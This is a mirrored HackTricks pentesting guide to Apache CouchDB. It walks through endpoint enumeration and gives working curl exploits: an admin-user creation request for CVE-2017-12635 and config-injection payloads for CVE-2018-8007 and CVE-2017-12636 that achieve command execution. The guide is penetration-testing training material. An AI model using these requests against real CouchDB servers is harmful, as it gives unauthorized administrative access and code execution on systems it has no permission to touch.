mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
291 lines
18 KiB
Markdown
291 lines
18 KiB
Markdown
# 5984,6984 - Pentesting CouchDB
|
||
|
||
<details>
|
||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Other ways to support HackTricks:
|
||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
|
||
## **Basic Information**
|
||
|
||
**CouchDB** is a versatile and powerful **document-oriented database** that organizes data using a **key-value map** structure within each **document**. Fields within the document can be represented as **key/value pairs, lists, or maps**, providing flexibility in data storage and retrieval.
|
||
|
||
Every **document** stored in CouchDB is assigned a **unique identifier** (`_id`) at the document level. Additionally, each modification made and saved to the database is assigned a **revision number** (`_rev`). This revision number allows for efficient **tracking and management of changes**, facilitating easy retrieval and synchronization of data within the database.
|
||
|
||
**Default port:** 5984(http), 6984(https)
|
||
|
||
```
|
||
PORT STATE SERVICE REASON
|
||
5984/tcp open unknown syn-ack
|
||
```
|
||
|
||
## **Automatic Enumeration**
|
||
|
||
```bash
|
||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||
```
|
||
|
||
## Manual Enumeration
|
||
|
||
### Banner
|
||
|
||
```
|
||
curl http://IP:5984/
|
||
```
|
||
|
||
This issues a GET request to installed CouchDB instance. The reply should look something like on of the following:
|
||
|
||
```bash
|
||
{"couchdb":"Welcome","version":"0.10.1"}
|
||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||
```
|
||
|
||
{% hint style="info" %}
|
||
Note that if accessing the root of couchdb you receive a `401 Unauthorized` with something like this: `{"error":"unauthorized","reason":"Authentication required."}` **you won't be able to access** the banner or any other endpoint.
|
||
{% endhint %}
|
||
|
||
### Info Enumeration
|
||
|
||
These are the endpoints where you can access with a **GET** request and extract some interesting info. You can find [**more endpoints and more detailed descriptions in the couchdb documentation**](https://docs.couchdb.org/en/latest/api/index.html).
|
||
|
||
* **`/_active_tasks`** List of running tasks, including the task type, name, status and process ID.
|
||
* **`/_all_dbs`** Returns a list of all the databases in the CouchDB instance.
|
||
* **`/_cluster_setup`**Returns the status of the node or cluster, per the cluster setup wizard.
|
||
* **`/_db_updates`** Returns a list of all database events in the CouchDB instance. The existence of the `_global_changes` database is required to use this endpoint.
|
||
* **`/_membership`** Displays the nodes that are part of the cluster as `cluster_nodes`. The field `all_nodes` displays all nodes this node knows about, including the ones that are part of the cluster.
|
||
* **`/_scheduler/jobs`** List of replication jobs. Each job description will include source and target information, replication id, a history of recent event, and a few other things.
|
||
* **`/_scheduler/docs`** List of replication document states. Includes information about all the documents, even in `completed` and `failed` states. For each document it returns the document ID, the database, the replication ID, source and target, and other information.
|
||
* **`/_scheduler/docs/{replicator_db}`**
|
||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||
* **`/_node/{node-name}`** The `/_node/{node-name}` endpoint can be used to confirm the Erlang node name of the server that processes the request. This is most useful when accessing `/_node/_local` to retrieve this information.
|
||
* **`/_node/{node-name}/_stats`** The `_stats` resource returns a JSON object containing the statistics for the running server. The literal string `_local` serves as an alias for the local node name, so for all stats URLs, `{node-name}` may be replaced with `_local`, to interact with the local node’s statistics.
|
||
* **`/_node/{node-name}/_system`** The \_systemresource returns a JSON object containing various system-level statistics for the running server\_.\_ You can use \_\_`_local` as {node-name} to get current node info.
|
||
* **`/_node/{node-name}/_restart`**
|
||
* **`/_up`** Confirms that the server is up, running, and ready to respond to requests. If [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) is `true` or `nolb`, the endpoint will return a 404 response.
|
||
* **`/_uuids`**Requests one or more Universally Unique Identifiers (UUIDs) from the CouchDB instance.
|
||
* **`/_reshard`**Returns a count of completed, failed, running, stopped, and total jobs along with the state of resharding on the cluster.
|
||
|
||
More interesting information can be extracted as explained here: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||
|
||
### **Database List**
|
||
|
||
```
|
||
curl -X GET http://IP:5984/_all_dbs
|
||
```
|
||
|
||
If that request **responds with a 401 unauthorised**, then you need some **valid credentials** to access the database:
|
||
|
||
```
|
||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||
```
|
||
|
||
In order to find valid Credentials you could **try to** [**bruteforce the service**](../generic-methodologies-and-resources/brute-force.md#couchdb).
|
||
|
||
This is an **example** of a couchdb **response** when you have **enough privileges** to list databases (It's just a list of dbs):
|
||
|
||
```bash
|
||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||
```
|
||
|
||
### Database Info
|
||
|
||
You can obtain some database info (like number of files and sizes) accessing the database name:
|
||
|
||
```bash
|
||
curl http://IP:5984/<database>
|
||
curl http://localhost:5984/simpsons
|
||
#Example response:
|
||
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
|
||
```
|
||
|
||
### **Document List**
|
||
|
||
List each entry inside a database
|
||
|
||
```bash
|
||
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||
curl http://localhost:5984/simpsons/_all_docs
|
||
#Example response:
|
||
{"total_rows":7,"offset":0,"rows":[
|
||
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
|
||
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
|
||
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
|
||
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
|
||
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
|
||
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
|
||
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
|
||
]}
|
||
```
|
||
|
||
### **Read Document**
|
||
|
||
Read the content of a document inside a database:
|
||
|
||
```bash
|
||
curl -X GET http://IP:5984/{dbname}/{id}
|
||
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||
#Example response:
|
||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||
```
|
||
|
||
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||
|
||
Thanks to the differences between Erlang and JavaScript JSON parsers you could **create an admin user** with credentials `hacktricks:hacktricks` with the following request:
|
||
|
||
```bash
|
||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||
```
|
||
|
||
[**More information about this vuln here**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||
|
||
## CouchDB RCE
|
||
|
||
### **Erlang Cookie Security Overview**
|
||
|
||
Example [from here](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||
|
||
In the CouchDB documentation, specifically in the section concerning cluster set-up ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), the use of ports by CouchDB in a cluster mode is discussed. It's mentioned that, as in standalone mode, port `5984` is used. Additionally, port `5986` is for node-local APIs, and importantly, Erlang requires TCP port `4369` for the Erlang Port Mapper Daemon (EPMD), facilitating node communication within an Erlang cluster. This setup forms a network where each node is interlinked with every other node.
|
||
|
||
A crucial security advisory is highlighted regarding port `4369`. If this port is made accessible over the Internet or any untrusted network, the system's security heavily relies on a unique identifier known as the "cookie." This cookie acts as a safeguard. For instance, in a given process list, the cookie named "monster" might be observed, indicating its operational role in the system's security framework.
|
||
|
||
```
|
||
www-data@canape:/$ ps aux | grep couchdb
|
||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||
```
|
||
|
||
For those interested in understanding how this "cookie" can be exploited for Remote Code Execution (RCE) within the context of Erlang systems, a dedicated section is available for further reading. It details the methodologies for leveraging Erlang cookies in unauthorized manners to achieve control over systems. You can **[explore the detailed guide on abusing Erlang cookies for RCE here](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
||
|
||
### **Exploiting CVE-2018-8007 through Modification of local.ini**
|
||
|
||
Example [from here](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||
|
||
A recently disclosed vulnerability, CVE-2018-8007, affecting Apache CouchDB was explored, revealing that exploitation requires write permissions to the `local.ini` file. Although not directly applicable to the initial target system due to security restrictions, modifications were made to grant write access to the `local.ini` file for exploration purposes. Detailed steps and code examples are provided below, demonstrating the process.
|
||
|
||
First, the environment is prepared by ensuring the `local.ini` file is writable, verified by listing the permissions:
|
||
|
||
```bash
|
||
root@canape:/home/homer/etc# ls -l
|
||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
|
||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||
```
|
||
|
||
To exploit the vulnerability, a curl command is executed, targeting the `cors/origins` configuration in `local.ini`. This injects a new origin along with additional commands under the `[os_daemons]` section, aiming to execute arbitrary code:
|
||
|
||
```bash
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||
```
|
||
|
||
Subsequent verification shows the injected configuration in `local.ini`, contrasting it with a backup to highlight the changes:
|
||
|
||
```bash
|
||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||
119,124d118
|
||
< [cors]
|
||
< origins = 0xdf
|
||
< [os_daemons]
|
||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||
```
|
||
|
||
Initially, the expected file (`/tmp/0xdf`) does not exist, indicating that the injected command has not been executed yet. Further investigation reveals that processes related to CouchDB are running, including one that could potentially execute the injected command:
|
||
|
||
```bash
|
||
root@canape:/home/homer/bin# ps aux | grep couch
|
||
```
|
||
|
||
By terminating the identified CouchDB process and allowing the system to automatically restart it, the execution of the injected command is triggered, confirmed by the existence of the previously missing file:
|
||
|
||
```bash
|
||
root@canape:/home/homer/etc# kill 711
|
||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||
/tmp/0xdf
|
||
```
|
||
|
||
This exploration confirms the viability of CVE-2018-8007 exploitation under specific conditions, notably the requirement for writable access to the `local.ini` file. The provided code examples and procedural steps offer a clear guide for replicating the exploit in a controlled environment.
|
||
|
||
For more details on CVE-2018-8007, refer to the advisory by mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||
|
||
### **Exploring CVE-2017-12636 with Write Permissions on local.ini**
|
||
|
||
Example [from here](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||
|
||
A vulnerability known as CVE-2017-12636 was explored, which enables code execution via the CouchDB process, although specific configurations may prevent its exploitation. Despite numerous Proof of Concept (POC) references available online, adjustments are necessary to exploit the vulnerability on CouchDB version 2, differing from the commonly targeted version 1.x. The initial steps involve verifying the CouchDB version and confirming the absence of the expected query servers path:
|
||
|
||
```bash
|
||
curl http://localhost:5984
|
||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||
```
|
||
|
||
To accommodate CouchDB version 2.0, a new path is utilized:
|
||
|
||
```bash
|
||
curl 'http://0xdf:df@localhost:5984/_membership'
|
||
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||
```
|
||
|
||
Attempts to add and invoke a new query server were met with permission-related errors, as indicated by the following output:
|
||
|
||
```bash
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||
```
|
||
|
||
Further investigation revealed permission issues with the `local.ini` file, which was not writable. By modifying the file permissions with root or homer access, it became possible to proceed:
|
||
|
||
```bash
|
||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||
chmod 666 /home/homer/etc/local.ini
|
||
```
|
||
|
||
Subsequent attempts to add the query server succeeded, as demonstrated by the lack of error messages in the response. The successful modification of the `local.ini` file was confirmed through file comparison:
|
||
|
||
```bash
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||
```
|
||
|
||
The process continued with the creation of a database and a document, followed by an attempt to execute code via a custom view mapping to the newly added query server:
|
||
|
||
```bash
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||
```
|
||
|
||
A **[summary](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** with an alternative payload provides further insights into exploiting CVE-2017-12636 under specific conditions. **Useful resources** for exploiting this vulnerability include:
|
||
|
||
- [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||
- [Exploit Database entry](https://www.exploit-db.com/exploits/44913/)
|
||
|
||
## Shodan
|
||
|
||
* `port:5984 couchdb`
|
||
|
||
## References
|
||
|
||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Other ways to support HackTricks:
|
||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|